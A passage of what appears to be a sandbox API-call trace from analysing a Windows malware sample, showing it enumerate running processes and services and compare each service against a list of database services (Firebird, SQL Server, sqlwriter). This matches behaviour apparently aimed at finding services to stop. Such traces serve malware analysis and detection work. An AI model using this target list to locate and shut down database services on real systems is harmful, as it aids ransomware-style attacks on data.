(lpString="winlogon.exe") returned 12 [0228.240] Process32NextW (in: hSnapshot=0x388, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1e0, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0228.240] lstrlenW (lpString="services.exe") returned 12 [0228.240] Process32NextW (in: hSnapshot=0x388, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1e0, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0228.241] lstrlenW (lpString="lsass.exe") returned 9 [0228.241] Process32NextW (in: hSnapshot=0x388, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x228, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0228.241] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0228.241] Process32NextW (in: hSnapshot=0x388, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0228.242] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0228.242] Process32NextW (in: hSnapshot=0x388, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0228.242] lstrlenW (lpString="svchost.exe") returned 11 [0228.242] Process32NextW (in: hSnapshot=0x388, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0228.243] lstrlenW (lpString="svchost.exe") returned 11 [0228.243] Process32NextW (in: hSnapshot=0x388, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x384, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x228, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0228.243] lstrlenW (lpString="dwm.exe") returned 7 [0228.243] Process32NextW (in: hSnapshot=0x388, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3c, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0228.244] lstrlenW (lpString="svchost.exe") returned 11 [0228.244] Process32NextW (in: hSnapshot=0x388, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0228.244] lstrlenW (lpString="svchost.exe") returned 11 [0228.244] Process32NextW (in: hSnapshot=0x388, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0228.245] lstrlenW (lpString="svchost.exe") returned 11 [0228.245] Process32NextW (in: hSnapshot=0x388, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0228.245] lstrlenW (lpString="svchost.exe") returned 11 [0228.245] Process32NextW (in: hSnapshot=0x388, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0228.246] lstrlenW (lpString="svchost.exe") returned 11 [0228.246] Process32NextW (in: hSnapshot=0x388, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x470, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0228.246] lstrlenW (lpString="svchost.exe") returned 11 [0228.246] Process32NextW (in: hSnapshot=0x388, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0228.246] lstrlenW (lpString="svchost.exe") returned 11 [0228.247] Process32NextW (in: hSnapshot=0x388, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0228.247] lstrlenW (lpString="svchost.exe") returned 11 [0228.247] Process32NextW (in: hSnapshot=0x388, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x564, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0228.248] lstrlenW (lpString="svchost.exe") returned 11 [0228.248] Process32NextW (in: hSnapshot=0x388, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x574, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0228.248] lstrlenW (lpString="svchost.exe") returned 11 [0228.248] Process32NextW (in: hSnapshot=0x388, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0228.249] lstrlenW (lpString="spoolsv.exe") returned 11 [0228.249] Process32NextW (in: hSnapshot=0x388, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x68c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0228.249] lstrlenW (lpString="svchost.exe") returned 11 [0228.249] Process32NextW (in: hSnapshot=0x388, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4f8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0228.250] lstrlenW (lpString="audiodg.exe") returned 11 [0228.250] Process32NextW (in: hSnapshot=0x388, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x3bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0228.250] lstrlenW (lpString="sihost.exe") returned 10 [0228.250] Process32NextW (in: hSnapshot=0x388, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x714, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0228.251] lstrlenW (lpString="svchost.exe") returned 11 [0228.251] Process32NextW (in: hSnapshot=0x388, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0228.251] lstrlenW (lpString="taskhostw.exe") returned 13 [0228.251] Process32NextW (in: hSnapshot=0x388, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x51c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0228.251] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0228.251] Process32NextW (in: hSnapshot=0x388, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0228.252] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0228.252] Process32NextW (in: hSnapshot=0x388, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x890, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0228.252] lstrlenW (lpString="Memory Compression") returned 18 [0228.252] Process32NextW (in: hSnapshot=0x388, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x978, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x46, th32ParentProcessID=0x958, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0228.253] lstrlenW (lpString="explorer.exe") returned 12 [0228.253] Process32NextW (in: hSnapshot=0x388, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0228.253] lstrlenW (lpString="SearchUI.exe") returned 12 [0228.253] Process32NextW (in: hSnapshot=0x388, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0228.254] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0228.254] Process32NextW (in: hSnapshot=0x388, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0228.254] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0228.254] Process32NextW (in: hSnapshot=0x388, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0228.255] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0228.255] Process32NextW (in: hSnapshot=0x388, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x978, pcPriClassBase=8, dwFlags=0x0, szExeFile="finbbp.exe")) returned 1 [0228.256] lstrlenW (lpString="finbbp.exe") returned 10 [0228.256] Process32NextW (in: hSnapshot=0x388, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xda4, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0228.256] lstrlenW (lpString="cmd.exe") returned 7 [0228.256] Process32NextW (in: hSnapshot=0x388, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xdb0, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0228.256] lstrlenW (lpString="conhost.exe") returned 11 [0228.257] Process32NextW (in: hSnapshot=0x388, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xdb0, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0 [0228.257] CloseHandle (hObject=0x388) returned 1 [0228.257] Sleep (dwMilliseconds=0x1f4) [0228.887] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x6fb6c8 [0228.889] EnumServicesStatusExW (in: hSCManager=0x6fb6c8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x248ff3c, lpServicesReturned=0x248ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x248ff3c, lpServicesReturned=0x248ff54, lpResumeHandle=0x0) returned 0 [0228.890] GetLastError () returned 0xea [0228.890] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x1b58) returned 0x41a9368 [0228.890] EnumServicesStatusExW (in: hSCManager=0x6fb6c8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x41a9368, cbBufSize=0x1b58, pcbBytesNeeded=0x248ff3c, lpServicesReturned=0x248ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x41a9368, pcbBytesNeeded=0x248ff3c, lpServicesReturned=0x248ff54, lpResumeHandle=0x0) returned 1 [0228.892] CloseServiceHandle (hSCObject=0x6fb6c8) returned 1 [0228.892] lstrlenW (lpString="AppXSvc") returned 7 [0228.892] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0228.892] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0228.892] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0228.892] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0228.892] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0228.892] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0228.892] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0228.892] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0228.892] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0228.892] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0228.893] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0228.893] lstrlenW (lpString="Audiosrv") returned 8 [0228.893] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0228.893] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0228.893] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0228.893] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0228.893] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0228.893] lstrlenW (lpString="BFE") returned 3 [0228.893] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0228.893] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0228.893] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0228.893] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0228.893] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0228.893] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0228.893] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0228.893] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0228.893] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0228.893] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0228.893] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0228.893] lstrlenW (lpString="CDPSvc") returned 6 [0228.893] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0228.893] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0228.893] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0228.893] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0228.893] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0228.893] lstrlenW (lpString="ClickToRunSvc") returned 13 [0228.893] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0228.894] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0228.894] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0228.894] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0228.894] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0228.894] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0228.894] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0228.894] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0228.894] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0228.894] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0228.894] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0228.894] lstrlenW (lpString="CryptSvc") returned 8 [0228.894] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0228.894] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0228.894] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0228.894] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0228.894] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0228.894] lstrlenW (lpString="DcomLaunch") returned 10 [0228.894] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0228.894] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0228.894] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0228.894] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0228.894] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0228.894] lstrlenW (lpString="DeviceAssociationService") returned 24 [0228.894] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0228.894] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0228.894] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0228.894] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0228.895] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0228.895] lstrlenW (lpString="Dhcp") returned 4 [0228.895] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0228.895] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0228.895] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0228.895] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0228.895] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0228.895] lstrlenW (lpString="Dnscache") returned 8 [0228.895] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0228.895] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0228.895] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0228.895] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0228.895] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0228.895] lstrlenW (lpString="DPS") returned 3 [0228.895] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0228.895] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0228.895] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0228.895] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0228.895] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0228.895] lstrlenW (lpString="DusmSvc") returned 7 [0228.895] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0228.895] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0228.895] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0228.895] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0228.896] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0228.896] lstrlenW (lpString="EventLog") returned 8 [0228.896] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0228.896] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0228.896] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0228.896] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0228.896] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0228.896] lstrlenW (lpString="EventSystem") returned 11 [0228.896] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0228.896] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0228.896] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0228.896] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0228.896] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0228.896] lstrlenW (lpString="FontCache") returned 9 [0228.896] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0228.896] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0228.896] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0228.896] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0228.896] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0228.896] lstrlenW (lpString="gpsvc") returned 5 [0228.896] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0228.896] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0228.896] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0228.896] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0228.896] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0228.896] lstrlenW (lpString="iphlpsvc") returned 8 [0228.897] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0228.897] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0228.897] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0228.897] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0228.897] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0228.897] lstrlenW (lpString="KeyIso") returned 6 [0228.897] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0228.897] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0228.897] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0228.897] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0228.897] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0228.897] lstrlenW (lpString="LanmanServer") returned 12 [0228.897] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0228.897] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0228.897] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0228.897] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0228.897] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0228.897] lstrlenW (lpString="LanmanWorkstation") returned 17 [0228.897] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0228.897] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0228.897] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0228.897] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0228.897] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0228.897] lstrlenW (lpString="lfsvc") returned 5 [0228.897] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0228.897] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0228.897] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0228.898] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0228.898] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0228.898] lstrlenW (lpString="lmhosts") returned 7 [0228.898] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0228.898] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0228.898] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0228.898] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0228.898] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0228.898] lstrlenW (lpString="LSM") returned 3 [0228.898] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0228.898] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0228.898] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0228.898] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0228.898] 